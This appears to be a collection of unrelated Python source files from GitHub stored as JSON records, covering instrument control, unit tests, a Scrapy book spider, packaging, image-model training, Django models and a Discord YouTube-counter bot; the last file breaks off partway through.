{"seq_id": "3777238221", "text": "import struct\nimport visa\n\nrm=visa.ResourceManager()\nli=rm.list_resources()\nfor index in range(len(li)):\n    print(str(index)+\" - \"+li[index])\nchoice = input(\"Which device?: \")\nvi=rm.open_resource(li[int(choice)])\n\nvi.encoding = 'latin-1' #vi.write_raw called from the vi.write needs the encoding changed\n\nprint(vi.query(\"*idn?\"))\n\nwave = bytearray()\n\nfor i in range(16384):\n    wave.append(i&0xff)\n    wave.append((i&0x3f00)>>8)\n    \nvi.write_termination = '' #the next commands should not be terminated with newline char\n    \ncmd = \"C1:WVDT WVNM,pavo,TYPE,5,LENGTH,32KB,FREQ,1000.0,AMPL,2,OFST,0,PHASE,0.000000,WAVEDATA,\"+wave.decode('latin-1')\nvi.write(cmd)\nvi.write_termination = '\\n' #the next commands should be terminated with newline char\nvi.write(\"C1:ARWV NAME, pavo\") #Set the waveform to be the one just sent\n\nvi.write_termination = '' #the next commands should not be terminated with newline char\nresp = vi.query(\"wvdt? USER,pavo\")#Note, the return value shows mXX+6, so m36 => M42\n\nprint(\"returned....\")\nprint(len(resp))\n# Print out the data\nfor i in range(96):\n    print(\":\", i, resp[i], ord(resp[i]), sep=\"_\", end='')\n", "repo_name": "BKPrecisionCorp/4050B_Series", "sub_path": "Python 3/405xB_SendWavedataEx.py", "file_name": "405xB_SendWavedataEx.py", "file_ext": "py", "file_size_in_byte": 1133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "visa.ResourceManager", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "72153716426", "text": "from src.models.teachers import Teacher\nimport pytest\nfrom src.database.db_connector import DatabaseConnection\n\n\n@pytest.fixture\ndef dummy_teacher_obj():\n    teacher_info = {\n        \"name\": \"Om Priya\",\n        \"gender\": \"M\",\n        \"email\": \"ompriya18153789@gmail.com\",\n        \"phone\": \"8229070126\",\n        \"school_name\": \"dav public school\",\n        \"experience\": \"2\",\n        \"fav_subject\": \"pyhton\",\n        \"role\": \"teacher\",\n        \"password\": \"Ompriya@123\",\n    }\n    dummy_obj = Teacher(teacher_info)\n    return dummy_obj\n\n\n@pytest.fixture\ndef mock_database_connection_for_teacher(mocker):\n    mock_connection = mocker.MagicMock(spec=DatabaseConnection)\n    mocker.patch(\"src.models.teachers.DatabaseConnection\", return_value=mock_connection)\n    mock_cursor = mocker.MagicMock()\n    mock_connection.__enter__.return_value.cursor.return_value = mock_cursor\n    mock_connection.__exit__.return_value = None\n    return mock_cursor\n\n\nclass TestTeacher:\n    def test_save_teacher_invalid_school_name(\n        self,\n        monkeypatch,\n        mock_execute_returning_query_no_data,\n        dummy_teacher_obj,\n        capsys,\n    ):\n        monkeypatch.setattr(\n            \"src.models.teachers.DatabaseAccess.execute_returning_query\",\n            mock_execute_returning_query_no_data,\n        )\n        dummy_teacher_obj.save_teacher()\n        captured = capsys.readouterr()\n\n        assert \"\\nWrong School Or School is not in the system\" in captured.out\n\n    def test_save_teacher_valid_school_name(\n        self,\n        monkeypatch,\n        mock_execute_returning_query_valid_data,\n        dummy_teacher_obj,\n        mock_database_connection_for_teacher,\n        capsys,\n    ):\n        monkeypatch.setattr(\n            \"src.models.teachers.DatabaseAccess.execute_returning_query\",\n            mock_execute_returning_query_valid_data,\n        )\n        monkeypatch.setattr(\n            \"src.models.teachers.DatabaseConnection\",\n            mock_database_connection_for_teacher,\n        )\n        dummy_teacher_obj.save_teacher()\n        captured = capsys.readouterr()\n        assert (\n            \"\\nSigned Up Successfully Wait for Super Admin to approve it.\"\n            in captured.out\n        )\n", "repo_name": "om-priya/school_manager", "sub_path": "test/test_models/test_teacher.py", "file_name": "test_teacher.py", "file_ext": "py", "file_size_in_byte": 2208, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "src.models.teachers.Teacher", "line_number": 19, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 6, "usage_type": "attribute"}, {"api_name": "src.database.db_connector.DatabaseConnection", "line_number": 25, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 23, "usage_type": "attribute"}]}
{"seq_id": "33657204084", "text": "import scrapy\nfrom ..items import GoodreadsItem\n\n\nclass BooksSpider(scrapy.Spider):\n    name = 'books'\n    start_urls = ['https://www.goodreads.com/genres']\n\n    def parse(self, response, **kwargs):\n        links = response.xpath(\n            '//div[@class=\"bigBoxContent containerWithHeaderContent\"]/div[@class=\"left\"]/a/@href').getall()\n\n        for link in links:\n            link = 'https://www.goodreads.com' + link\n            yield response.follow(link, callback=self.book_page)\n\n    def book_page(self, response):\n        books = response.xpath('//div[@class=\"leftAlignedImage bookBox\"]/div[@class=\"coverWrapper\"]/a/@href').getall()\n\n        for book in books:\n            yield response.follow(book, callback=self.parse_book)\n\n    def parse_book(self, response):\n        title = response.xpath('//div[@class=\"BookPageTitleSection__title\"]/h1/text()').get()\n        author = response.xpath('//a[@class=\"ContributorLink\"]/span/text()').get()\n        description = response.xpath('//div[@class=\"DetailsLayoutRightParagraph__widthConstrained\"]/span').get()\n        rating = response.xpath(\n            '//div[@class=\"RatingStatistics__column\"]/div[@class=\"RatingStatistics__rating\"]').get()\n        total_rating = response.xpath(\n            '//div[@class=\"RatingStatistics__column\"]/div[@class=\"RatingStatistics__meta\"]/span').get()\n        genre = response.xpath(\n            '//div[@class=\"BookPageMetadataSection__genres\"]/ul[@class=\"CollapsableList\"]/span').extract_first()\n\n        yield {'author': author,\n               'description': description,\n               'genre': genre,\n               'rating': rating,\n               'title': title,\n               'total_rating': total_rating}\n", "repo_name": "ssabrut/book-recommender-system", "sub_path": "goodreads_scrapper/goodreads_scrapper/spiders/books_spider.py", "file_name": "books_spider.py", "file_ext": "py", "file_size_in_byte": 1701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scrapy.Spider", "line_number": 5, "usage_type": "attribute"}]}
{"seq_id": "1282196063", "text": "import os\nimport sys\nimport setuptools\nimport json\nfrom shutil import copyfile\nfrom setuptools.command.install import install\nfrom pathlib import Path\n\n\ndef read(fname):\n  with open(os.path.join(os.path.dirname(__file__), fname), 'rt') as f:\n    return f.read()\n\n\ndef write_init(version: str):\n  with open(\"./src/lang/python/version.py\", \"w\") as init_file:\n    print(\"__version__ = '{version}'\".format(version=version), file=init_file)\n  with open(\"./src/__init__.py\", \"w\") as init_file:\n    print(\"# generated\", file=init_file)\n    print(\"from .lang.python.envelope import *\", file=init_file)\n    print(\"from .simple_envelope import *\", file=init_file)\n    print(\"from .lang.python.version import __version__\", file=init_file)\n    print(\"if __name__ == '__main__':\", file=init_file)\n    print(\" print('ready to format a c5 envelope')\", file=init_file)\n\n#class PreInstallCommand(install):\n#    \"\"\"Pre-installation for installation mode.\"\"\"\n#    def run(self):\n\n\n\n#print(sys.argv)\n#print(os.environ)\n\nmain_ns = {\n        '__name__': 'hack'\n        }\n\nif Path(\"./package.json\").is_file():\n    version = json.loads(read('package.json'))['version']\n    main_ns['__version__'] = version\n\n\n#ver_path = convert_path('__init__.py')\n\nif sys.argv[0] == 'setup.py' and sys.argv[1] == 'sdist':\n    version = json.loads(read('package.json'))['version']\n    write_init(version)\n    #copyfile('./src/simple_envelope.py', './lang/python/simple_envelope.py')\n    #copyfile('./package.json', './lang/python/package.json')\n    #main_ns['__version__'] = version\n\n\nlang_python_init = Path(\"./src/lang/python/version.py\")\nif lang_python_init.is_file():\n    with open(lang_python_init) as ver_file:\n      c = ver_file.read()\n      exec(c, main_ns)\n\nlang_python_init = Path(\"./lang/python/version.py\")\nif lang_python_init.is_file():\n    with open(lang_python_init) as ver_file:\n      c = ver_file.read()\n      exec(c, main_ns)\n\n#install.run(self)\n\nif main_ns['__version__'] == 'hack':\n    print(\"i-3424ri0jrejoifeowjofgjeajofewoifjoiweafgjoaogsgojavfds\");\n\nsetuptools.setup(\n  name='c5-envelope',\n  version=main_ns['__version__'],\n  author='Meno Abels',\n  author_email='meno.abels@adviser.com',\n  setup_requires=[],\n  install_requires=[\n      'base58',\n      'object-graph-streamer'\n  ],\n  ext_modules=[],\n  packages=['c5_envelope', 'c5_envelope.lang.python'],\n  package_dir={\n      'c5_envelope': 'src', \n      'c5_envelope.lang.python': 'src/lang/python'\n  },\n\n  description=\"C5-ENVELOPE Repository\",\n  long_description=read('README.md'),\n  long_description_content_type=\"text/markdown\",\n  keywords = \"data ocean lake\",\n  url = \"https://github.com/mabels/envelope\",\n  classifiers=[\n    \"Intended Audience :: Developers\",\n    \"Development Status :: 5 - Production/Stable\",\n    \"Programming Language :: Python\",\n    \"Programming Language :: Python :: 3\",\n    \"Programming Language :: Python :: 3.6\",\n    \"Programming Language :: Python :: 3.7\",\n    \"Programming Language :: Python :: 3.8\",\n    \"Topic :: Scientific/Engineering\",\n    \"Intended Audience :: Developers\"\n  ], \n)\n", "repo_name": "mabels/c5-envelope", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 3051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 60, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "40936370982", "text": "import sys\nimport MLTK\nfrom keras import optimizers, metrics\nimport numpy as np\nimport os\n\n\ndataset = '../Datasets/DS0004ss'\nn_epochs = 50\nlearning_rate = 0.01\nfilters = [2,2,2]\nstrides = [1,2,2]\nkernels = [5]\nbatch_normalize = False\nLambda = False\ndropout_rate = 0.2 # Fraction to set to zero\njobID = 'home'\nbatch_size = 32\nim_size = 256\n\noptim = optimizers.Adam(lr = learning_rate)\n\n# Generator for loading images\ntr_gen = MLTK.DataGenerator('../Datasets/DS0004/training', batch_size=32, dim=(256, 256), n_channels=1)\nmodel = MLTK.MulNet(imsize = im_size, Lambda = Lambda, \\\n                    filters = filters, kernels = kernels, \\\n                    drop_rate = dropout_rate, batch_normalize = batch_normalize, \\\n                    stride_size=strides) \n\nmodel.summary()\n\nmodel.compile(optimizer=optim,\n              loss='mean_squared_error',\n              metrics=['sparse_categorical_crossentropy'])\n\n\nmeans = []\n\nfor epoch in range(n_epochs):\n    model.fit_generator(generator=tr_gen, max_queue_size=5, workers=1, use_multiprocessing=False)", "repo_name": "attilasimko/drs", "sub_path": "BFC/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 1052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "keras.optimizers.Adam", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 21, "usage_type": "name"}, {"api_name": "MLTK.DataGenerator", "line_number": 24, "usage_type": "call"}, {"api_name": "MLTK.MulNet", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "8920313786", "text": "import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense\nfrom tensorflow.keras.callbacks import EarlyStopping\nimport numpy as np\nimport cv2\nimport os\n\n# Load images from folders\ndef load_images_from_folder(folder):\n    images = []\n    for filename in os.listdir(folder):\n        if filename.endswith(\".jpg\") or filename.endswith(\".png\"):\n            img = load_and_preprocess_image(os.path.join(folder, filename))\n            if img is not None:\n                images.append(img)\n    return np.array(images)\n\n# Load and preprocess images\ndef load_and_preprocess_image(image_path):\n    image = cv2.imread(image_path)\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n    image = cv2.resize(image, (224, 224)) # Resize to the input size expected by the model\n    return image / 255.0 # Normalize pixel values\n\nimage_folder_path = \"line_images\"\n# Prepare the dataset\nimage_dataset = load_images_from_folder(image_folder_path)\n\nhsv_values = [\n    [10,36,20,100,120,210], #Image 1\n    [10,36,20,100,120,210], #Image 2\n    [10,36,20,122,120,231], #Image 3\n    [10,36,20,140,120,240], #Image 4\n    [10,36,20,100,120,210], #Image 5\n    [10,36,20,100,120,220], #Image 6\n    [10,36,20,100,120,210], #Image 7\n    [10,36,8,100,120,210], #Image 8\n    [10,36,8,100,120,210], #Image 9\n    [10,36,8,100,120,210], #Image 10\n    [10,36,20,130,170,236], #Image 13\n    [10,36,0,100,120,210], #Image 14\n    [10,36,20,144,120,250], #Image 15\n    [0,87,0,94,120,211], #Image 16\n    [10,36,20,130,120,255], #Image 17\n    [0,36,0,101,140,247], #Image 18\n    [10,36,20,100,120,226], #Image 19\n    [10,36,20,100,120,220], #Image 20\n    [10,36,20,123,120,239], #Image 21\n    [10,36,20,137,120,235], #Image 22\n    [10,36,20,144,120,244], #Image 23\n    [10,36,20,138,120,249], #Image 24\n    [10,36,20,140,120,255] #Image 25\n]\n# Assuming hsv_values is a list of lists with 6 values each\nhsv_dataset = np.array(hsv_values)\n\n# Split dataset into training and testing\nsplit = int(0.8 * len(image_dataset))\ntrain_images, test_images = image_dataset[:split], image_dataset[split:]\ntrain_hsv, test_hsv = hsv_dataset[:split], hsv_dataset[split:]\n\n# Define the model\nmodel = Sequential([\n    Conv2D(32, (3, 3), activation='relu', input_shape=(224, 224, 3)),\n    MaxPooling2D(2, 2),\n    Conv2D(64, (3, 3), activation='relu'),\n    MaxPooling2D(2, 2),\n    Flatten(),\n    Dense(64, activation='relu'),\n    Dense(6) # Output layer with 6 nodes (lower and upper bounds for H, S, and V)\n])\n\n# Compile the model\nmodel.compile(optimizer='adam', loss='mean_squared_error')\n\n# Configure the EarlyStopping callback\nearly_stopping_callback = EarlyStopping(monitor='val_loss', min_delta=0.001, patience=20, verbose=1, restore_best_weights=True)\n\n# Train the model with the callback\nmodel.fit(train_images, train_hsv, epochs=250, validation_data=(test_images, test_hsv), callbacks=[early_stopping_callback])\n\nvalidation_image_path = \"testLine.jpg\"\n\nvalidation_image = load_and_preprocess_image(validation_image_path)\nvalidation_image = np.expand_dims(validation_image, axis=0)\npredicted_hsv = model.predict(validation_image)\npredicted_hsv = predicted_hsv[0].astype(int) \n\n# Print or process the predicted HSV values\n\n\ndef update_yellow_detection(x):\n    # Get the current positions of the trackbars\n    low_h = cv2.getTrackbarPos('Low H', 'Yellow Detection')\n    low_s = cv2.getTrackbarPos('Low S', 'Yellow Detection')\n    low_v = cv2.getTrackbarPos('Low V', 'Yellow Detection')\n    high_h = cv2.getTrackbarPos('High H', 'Yellow Detection')\n    high_s = cv2.getTrackbarPos('High S', 'Yellow Detection')\n    high_v = cv2.getTrackbarPos('High V', 'Yellow Detection')\n\n    # Create the lower and upper bounds for the yellow color\n    lower_yellow = np.array([low_h, low_s, low_v])\n    upper_yellow = np.array([high_h, high_s, high_v])\n\n    # Create a mask to isolate yellow regions\n    mask = cv2.inRange(hsv, lower_yellow, upper_yellow)\n\n    # Apply median blur to reduce noise\n    blurred_mask = cv2.medianBlur(mask, 5)\n\n    # Display the result\n    cv2.imshow('Yellow Detection', blurred_mask)\n\n\n\n# Read the image\nimage = cv2.imread(validation_image_path)\n\n#IMAGE ABOVE DUMMY\n\nif image is None:\n    print(\"Could not read the image.\")\n    exit()\n\n# Convert the image to the HSV color space\nhsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\ncv2.imshow('HSV', hsv)\n\n# Create a window for the trackbars\ncv2.namedWindow('Yellow Detection')\n\n\n# Create trackbars for color change\ncv2.createTrackbar('Low H', 'Yellow Detection', predicted_hsv[0], 179, update_yellow_detection)\ncv2.createTrackbar('High H', 'Yellow Detection', predicted_hsv[1], 179, update_yellow_detection)\ncv2.createTrackbar('Low S', 'Yellow Detection', predicted_hsv[2], 255, update_yellow_detection)\ncv2.createTrackbar('High S', 'Yellow Detection', predicted_hsv[3], 255, update_yellow_detection)\ncv2.createTrackbar('Low V', 'Yellow Detection', predicted_hsv[4], 255, update_yellow_detection)\ncv2.createTrackbar('High V', 'Yellow Detection', predicted_hsv[5], 255, update_yellow_detection)\n\n# Initial detection\nupdate_yellow_detection(0)\nprint(predicted_hsv)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n\n", "repo_name": "joshdellamuth/IEEELineRecognition", "sub_path": "LineRecognition/hsv_model.py", "file_name": "hsv_model.py", "file_ext": "py", "file_size_in_byte": 5194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 127, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 131, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 135, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 137, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 138, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 140, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 147, "usage_type": "call"}]}
{"seq_id": "25328969638", "text": "from django.db import models\n\n\nclass CaseTipology(models.Model):\n    category = models.TextField(\n        verbose_name=\"Case Category\",\n        help_text=\"Case Category\",\n    )\n\n    class Meta:\n        verbose_name = \"linha verde case tipology\"\n        verbose_name_plural = \"casetipologys\"\n\n    def __str__(self):\n        return self.category\n\nclass SubCategory(models.Model):\n    casetipology = models.ForeignKey(\n        CaseTipology,\n        on_delete=models.CASCADE,\n    )\n    subcategory = models.TextField(\n        verbose_name=\"Sub Category\",\n        help_text=\"Sub Category\",\n    )\n\n    class Meta:\n        verbose_name = \"subcategory\"\n        verbose_name_plural = \"subcategorys\"\n\n    def __str__(self):\n        return self.subcategory\n\n\nclass SubCategoryIssue(models.Model):\n    subcategory = models.ForeignKey(\n        SubCategory,\n        on_delete=models.CASCADE,\n    )\n    subcategory_issue = models.TextField(\n        verbose_name=\"Sub Category Issue\",\n        help_text=\"Sub Category Issue\",\n    )\n\n    class Meta:\n        verbose_name = \"subcategoryissue\"\n        verbose_name_plural = \"subcategoryissues\"\n\n    def __str__(self):\n        return self.subcategory_issue\n", "repo_name": "AlexandrepCumbane/lvProjectPub", "sub_path": "db/case_tipology/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.models.Model", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 4, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 5, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}]}
{"seq_id": "18567646479", "text": "import os\nimport json\nimport urllib.request\nfrom src.googleAppSheet import app_sheet_find\n\n\nasync def refresh(Bot):\n  selector = f\"FILTER('設定檔',([功能名稱] = 'Youtube人數', [功能開關] = true, [排程] = true))\" \n  resultStr = app_sheet_find(\"設定檔\", selector)\n  result = json.loads(resultStr)\n\n  for data in result:\n    guild = Bot.get_guild(int(data[\"伺服器\"]))\n    if guild is not None:\n      loadChannel = json.loads(data[\"設定\"])\n      loadYTID = loadChannel[\"頻道ID\"]\n      loadChannelID = loadChannel[\"伺服器ID\"]\n      channel = guild.get_channel(loadChannelID)\n      await channel.edit(name=get_youtube_subscribers(loadYTID))\n\n      print(f'{loadChannelID}YT頻道文字已更新')\n\n\ndef get_youtube_subscribers(channelID):\n  data = urllib.request.urlopen(\"https://www.googleapis.com/youtube/v3/channels/?part=statistics&id=\"+channelID+\"&key=\"+os.getenv(\"SECRET_KEY\")).read()\n  subs = json.loads(data)[\"items\"][0][\"statistics\"][\"subscriberCount\"]\n  \n  return f'YouTube 訂閱人數: {subs}'\n", "repo_name": "l13013312333/it_discordBot", "sub_path": "src/discordBot/schedule/youtube.py", "file_name": "youtube.py", "file_ext": "py", "file_size_in_byte": 1028, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "src.googleAppSheet.app_sheet_find", "line_number": 9, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 25, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "4262304492", "text": "from django.db import migrations, models\n\ndef delete_puerto_rico(apps, scheme_editor):\n    AdministrativeArea = apps.get_model('metadata', 'administrativearea')\n    try:\n        puerto_rico = AdministrativeArea.objects.get(pk='4a6f5211-9e54-42e9-ba25-7c67be785d1a')\n        puerto_rico.delete()\n    except AdministrativeArea.DoesNotExist:\n        pass\n\ndef restore_puerto_rico(apps, scheme_editor):\n    AdministrativeArea = apps.get_model('metadata', 'administrativearea')\n    Country = apps.get_model('metadata', 'country')\n    AdministrativeArea.objects.create(pk='4a6f5211-9e54-42e9-ba25-7c67be785d1a',\n        name='Puerto Rico',\n        area_code='PR',\n        country=Country.objects.get(pk='81756b9a-5d95-e211-a939-e4115bead28a')\n    )\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('metadata', '0014_update_services'),\n    ]\n\n    operations = [\n        migrations.RunPython(delete_puerto_rico, restore_puerto_rico)\n    ]\n", "repo_name": "uktrade/data-hub-api", "sub_path": "datahub/metadata/migrations/0015_remove_puerto_rico.py", "file_name": "0015_remove_puerto_rico.py", "file_ext": "py", "file_size_in_byte": 953, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.migrations.RunPython", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "21965350600", "text": "import os\nimport cv2 \nfrom torch.utils.data import Dataset\nimport torch.optim.lr_scheduler\nimport torch\nfrom tqdm import tqdm\n\nclass AgeGenEthDataset(Dataset):\n    \"\"\"Age Gender Ethnicity dataset\"\"\"\n\n    def __init__(self, root_dir, transform=None):\n        self.age = []\n        self.gender = []\n        self.ethnicity = []\n        self.image = []\n        self.root_dir = root_dir\n\n        for i in tqdm(os.listdir(root_dir)):\n            img = cv2.imread(os.path.join(root_dir,i))\n            img = img[:, :, ::-1]\n            i = i.split(\".\")[0]\n            full = i.split(\"_\")\n            if len(full) == 4:\n                self.age.append(full[0])\n                self.gender.append(full[1])\n                self.ethnicity.append(full[2])\n                self.image.append(img)\n\n    def __len__(self):\n        return len(self.image)\n    \n    def __getitem__(self, index):\n        \"\"\"\n        Get a dict of the pair\n        \"\"\"\n        age = int(self.age[index])\n        gen = int(self.gender[index])\n        eth = int(self.ethnicity[index])\n        img = self.image[index]\n        img = img / 255.0\n        img = torch.from_numpy(img.copy()).view(3, 200, 200).float()\n        return age,gen,eth,img", "repo_name": "s0prmish/AgeGenderEthnicity", "sub_path": "data/dataloader.py", "file_name": "dataloader.py", "file_ext": "py", "file_size_in_byte": 1203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 8, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 18, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "13792880257", "text": "import argparse\nimport glob\nimport os\nimport os.path as osp\nfrom pathlib import Path\nimport sys\n\nsys.path.append(str(Path(__file__).parent.parent))\n\nimport numpy as np\nfrom skimage.io import imread, imsave\nfrom skimage.measure import label\nfrom joblib import Parallel, delayed\n\nfrom utils.metrics import *\n\nparser = argparse.ArgumentParser()\nparser.add_argument('pred_root')\nargs = parser.parse_args()\n\npred_root = args.pred_root\nnew_pred_root = pred_root + '-new'\nif not osp.exists(new_pred_root):\n    os.mkdir(new_pred_root)\n\nexecutor = Parallel(n_jobs=os.cpu_count())\n\n\ndef postprocess(pred):\n    regions = label(pred)\n    for region_idx in range(regions.max() + 1):\n        region_mask = regions == region_idx\n        if region_mask.sum() < 5000:\n            pred[region_mask] = 0\n\n    revert_regions = label(1 - pred)\n    for region_idx in range(revert_regions.max() + 1):\n        region_mask = revert_regions == region_idx\n        if region_mask.sum() < 5000:\n            pred[region_mask] = 1\n\n    return pred\n\n\ndef compute_metrics(iterable):\n    accuracies = executor(delayed(accuracy)(pred, gt) for pred, gt in iterable)\n    print('Accuracy:', np.mean(accuracies))\n\n    dices = executor(delayed(dice)(pred, gt) for pred, gt in iterable)\n    print('Dice:', np.mean(dices))\n\n    detection_f1s = executor(delayed(detection_f1)(pred, gt) for pred, gt in iterable)\n    print('Detection F1:', np.mean(detection_f1s))\n\n    object_dices = executor(delayed(object_dice)(pred, gt) for pred, gt in iterable)\n    print('Object Dice:', np.mean(object_dices))\n\n    object_hausdorffs = executor(delayed(object_hausdorff)(pred, gt) for pred, gt 